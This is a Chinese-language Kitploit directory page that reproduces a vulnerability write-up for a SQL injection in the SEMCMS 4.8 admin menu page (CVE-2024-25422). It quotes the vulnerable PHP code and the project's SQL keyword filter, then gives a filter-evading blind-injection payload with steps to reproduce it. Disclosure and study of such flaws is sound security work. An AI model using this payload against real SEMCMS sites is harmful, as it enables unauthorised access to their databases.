Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
semcms — semcms存在SQL注入(CVE-2024-25422 ) | Kitploit
工具/GitHubGitHub/tzyyyyyyy/semcms
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubtzyyyyyyy/semcms

semcms

semcms存在SQL注入(CVE-2024-25422 )

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Semcms 简介

SEMCMS 是一个支持多语言的外贸网站内容管理系统(CMS)。

root@kitploit:~
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip

漏洞原因:

/xcR45q_Admin/SEMCMS_Menu.php 第66行

漏洞代码:

root@kitploit:~
<?php
 } elseif ($type == "edit") {
 
   $row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
 
   ?>

可以看出,这里的 ID 在通过 GET 传递参数时会执行 SQL 语句

过滤代码位于 /Include/contorl. PHP

第151行

root@kitploit:~
function test_input($data) { 
    //$data = str_replace("%", "percent", $data);
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data,*ENT_QUOTES*);
    return $data;
  }

以及第8行

root@kitploit:~
function inject_check_sql($sql_str) {
 
   return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
 } 
 function verify_str($str) { 
    if(inject_check_sql($str)) {
      exit('Sorry,You do this is wrong! (.-.)');
     } 
   return $str;
 } 

通过过滤上述内容,我们可以构造一个 payload

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

漏洞复现

访问网站

root@kitploit:~
http://url/xcR45q_Admin/SEMCMS_Menu.php

Brupsuite 抓包,由于新建站点时数据库名长度为5,构造 payload 为

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

(判断数据库名长度是否为5)

插入 payload 查看回显

clip_image002

此时更改 payload

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,54,36)

(判断数据库名长度是否为6)

此时更改 payload

clip_image004

根据页面变化,可以继续进行 SQL 注入

下载工具